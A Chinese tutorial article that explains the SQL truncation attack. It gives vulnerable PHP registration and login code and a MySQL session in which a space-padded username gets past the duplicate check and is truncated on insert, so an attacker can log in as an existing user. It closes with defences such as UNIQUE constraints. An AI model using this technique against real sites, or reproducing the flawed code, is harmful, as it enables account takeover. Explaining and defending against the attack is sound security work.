基于约束条件的SQL攻击

[[180513]]

引言

目前值得高兴的是,开发者在建立网站时,已经开始关注安全问题了——几乎每个开发者都知道SQL注入漏洞了。在本文中,我将为读者介绍另一种与SQL数据库相关的漏洞,虽然它的危害性与SQL注入不相上下,但目前却很少为人所知。接下来,我将为读者详细展示这种攻击手法,以及相应的防御策略。

背景知识

最近,我遇到了一段有趣的代码,它尝试尽一切可能来保护数据库的访问安全,例如每当新用户进行注册时,将运行以下代码:

  1. <?php 
  2. // Checking whether a user with the same username exists 
  3. $username = mysql_real_escape_string($_GET['username']); 
  4. $password = mysql_real_escape_string($_GET['password']); 
  5. $query = "SELECT *  
  6.           FROM users  
  7.           WHERE username='$username'"; 
  8. $res = mysql_query($query, $database); 
  9. if($res) {  
  10.   if(mysql_num_rows($res) > 0) { 
  11.     // User exists, exit gracefully 
  12.     . 
  13.     . 
  14.   } 
  15.   else { 
  16.     // If notonly then insert a new entry 
  17.     $query = "INSERT INTO users(username, password
  18.               VALUES ('$username','$password')"; 
  19.     . 
  20.     . 
  21.   } 

为了验证登录信息,将用到下列代码:

  1. <?php 
  2. $username = mysql_real_escape_string($_GET['username']); 
  3. $password = mysql_real_escape_string($_GET['password']); 
  4. $query = "SELECT username FROM users 
  5.           WHERE username='$username' 
  6.               AND password='$password' "; 
  7. $res = mysql_query($query, $database); 
  8. if($res) { 
  9.   if(mysql_num_rows($res) > 0){ 
  10.       $row = mysql_fetch_assoc($res); 
  11.       return $row['username']; 
  12.   } 
  13. return Null

安全注意事项周全吗?

过滤用户输入参数了吗? – 检查了

使用单引号(‘)来增加安全性了吗? – 检查了

很好,还有什么可能出错的地方吗?

是的,攻击者依然能够以任意用户身份进行登录!

攻击手法

在谈论这种攻击手法之前,首先需要介绍几个至关重要的知识点。

1. 在处理SQL中的字符串时,字符串末尾的空格字符都会被删除。换句话说,“vampire”与“vampire ”几乎是等效的,这在大多数情况下是正确的,例如WHERE子句中的字符串或INSERT语句中的字符串。例如,以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。

  1. SELECT * FROM users WHERE username='vampire '

但是,除此之外也确实存在例外情况,例如LIKE子句。注意,对尾部空白字符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。

2. 在任意INSERT查询中,SQL会根据varchar(n)来限制字符串的最大长度,也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。例如,如果特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。

现在,让我们建立一个测试数据库来演示具体攻击过程。

  1. vampire@linux:~$ mysql -u root -p 
  2. mysql> CREATE DATABASE testing; 
  3. Query OK, 1 row affected (0.03 sec) 
  4. mysql> USE testing; 
  5. Database changed 

我将创建一个数据表users,它有两列,即username和password。并且,这两个字段的最大长度为25个字符。接下来,我将插入一行记录,其中以“vampire”作为用户名,以“my_password”作为密码。

  1. mysql> CREATE TABLE users ( 
  2.     ->   username varchar(25), 
  3.     ->   password varchar(25) 
  4.     -> ); 
  5. Query OK, 0 rows affected (0.09 sec) 
  6. mysql> INSERT INTO users 
  7.     -> VALUES('vampire''my_password'); 
  8. Query OK, 1 row affected (0.11 sec) 
  9. mysql> SELECT * FROM users; 
  10. +----------+-------------+ 
  11. | username | password    | 
  12. +----------+-------------+ 
  13. | vampire  | my_password | 
  14. +----------+-------------+ 
  15. 1 row in set (0.00 sec) 

为了展示尾部空白字符的修剪情况,我们可以输入下列命令:

  1. mysql> SELECT * FROM users 
  2.     -> WHERE username='vampire       '
  3. +----------+-------------+ 
  4. | username | password    | 
  5. +----------+-------------+ 
  6. | vampire  | my_password | 
  7. +----------+-------------+ 
  8. 1 row in set (0.00 sec) 

现在,假设一个易受攻击的网站使用了前面提到的PHP代码来处理用户的注册和登录。为了入侵任意用户的帐户(就本例来说,用户名为“vampire”),只需使用用户名“vampire[一些空白字符]1”和一个随机密码进行注册即可。对于选择的用户名,前25个字符应该只包含vampire和空白字符。这样做的好处是,将有助于绕过检查特定用户名是否已存在的查询。

  1. mysql> SELECT * FROM users 
  2.     -> WHERE username='vampire                   1'
  3. Empty set (0.00 sec) 

需要注意的是,在执行SELECT查询语句时,SQL是不会将字符串缩短为25个字符的。因此,这里将使用完整的字符串进行搜索,所以不会找到匹配的结果。接下来,当运行INSERT查询语句时,它只会插入前25个字符。

  1. mysql>   INSERT INTO users(username, password
  2.     -> VALUES ('vampire                   1''random_pass'); 
  3. Query OK, 1 row affected, 1 warning (0.05 sec) 
  4. mysql> SELECT * FROM users 
  5.     -> WHERE username='vampire'
  6. +---------------------------+-------------+ 
  7. | username                  | password    | 
  8. +---------------------------+-------------+ 
  9. | vampire                   | my_password | 
  10. | vampire                   | random_pass | 
  11. +---------------------------+-------------+ 
  12. rows in set (0.00 sec) 

很好,如果现在搜索“vampire”的话,将返回两个用户。注意,第二个用户名实际上是“vampire”加上尾部的18个空格。现在,如果使用用户名“vampire”和密码“random_pass”登录的话,则所有搜索该用户名的SELECT查询都将返回第一个数据记录,也就是原始的数据记录。这样的话,攻击者就能够以原始用户身份登录。

这个攻击已经在MySQL和SQLite上成功通过测试。我相信它同样适用于其他数据库下。

防御措施

显然,要想开发安全的软件,必须对这种安全漏洞严加防范。下面是我们可采取的几项防御措施:

1. 应该为要求/预期具有唯一性的那些列添加UNIQUE约束。这实际上是一个非常重要的软件开发规则。即使您的代码已经提供了完整性检查,也要正确定义您的数据。由于’username’列具有UNIQUE约束,所以插入另一个记录将是不可能的。这两个字符串将被视为等同的,并且INSERT查询将失败。

2. 最好使用’id’作为数据库表的主键。此外,数据应该通过程序中的id进行跟踪。

3. 为了增加安全性,您还可以手动方式将输入参数修剪为特定长度(具体长度可以视数据库的中设置而定)。

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/125628.html<

(0)
管理的头像管理
上一篇2025-02-23 20:18
下一篇 2025-02-23 20:19

相关推荐

  • 骨干网络体系结构能干什么?骨干网络体系结构的作用

    骨干网络体系结构是现代信息社会的“超级高速公路网”,它通过分层设计、冗余备份和智能调度,确保海量数据在全球范围内高速、稳定、安全地传输,是支撑云计算、物联网及人工智能应用的底层基石,想象一下,如果你把互联网比作一个巨大的城市交通系统,那么骨干网络就是连接各个城市的主干道和立交桥,没有它,你的每一次微信发送、每一……

    2026-06-18
    0
  • 高io数据库可以干什么用?高io数据库适合什么场景

    高IO数据库的核心价值在于通过极高的读写吞吐量,解决海量数据场景下的性能瓶颈,是支撑高并发交易、实时分析及大规模内容分发的关键基础设施,在数字化转型的深水区,数据不再仅仅是静态的记录,而是流动的资产,传统的机械硬盘或普通SSD早已无法满足现代应用对速度的极致追求,高IO(Input/Output)数据库,就是那……

    2026-06-18
    0
  • 高io服务器性能如何?高io服务器适合什么场景

    高IO服务器并非单纯指代某种硬件,而是指在随机读写、高并发连接及小文件处理场景下,具备极致IOPS(每秒输入输出操作次数)和低延迟特性的计算资源,它是支撑现代高并发应用稳定运行的核心基石,在2026年的数字化浪潮中,业务负载早已从简单的静态页面展示演变为复杂的实时数据处理,许多开发者在排查系统瓶颈时,往往忽略了……

    2026-06-18
    0
  • 隔离网络空间哪里便宜?国内隔离网络空间价格

    隔离网络空间并没有统一的“便宜”标准,其成本高度取决于物理隔离等级、带宽需求及安全合规要求,通常物理网闸方案初期投入较高但长期运维成本低,而逻辑隔离方案虽初期便宜但存在潜在安全风险,建议根据业务敏感度选择混合隔离架构以平衡成本与安全,在数字化时代,企业构建独立网络环境的需求日益增长,但“隔离网络空间哪里便宜”这……

    2026-06-18
    0
  • 骨干网络体系结构设备为何故障?常见原因有哪些

    骨干网络体系结构设备故障的核心原因通常归结为硬件老化、配置错误、物理链路中断及外部攻击四大类,其中电源模块失效与光模块性能衰减是占比最高的隐性故障源,骨干网作为数字经济的“大动脉”,其稳定性直接关乎国计民生,当核心路由器或交换机出现丢包、震荡甚至宕机时,运维人员往往面临巨大的压力,很多人第一反应是检查软件配置……

    2026-06-18
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注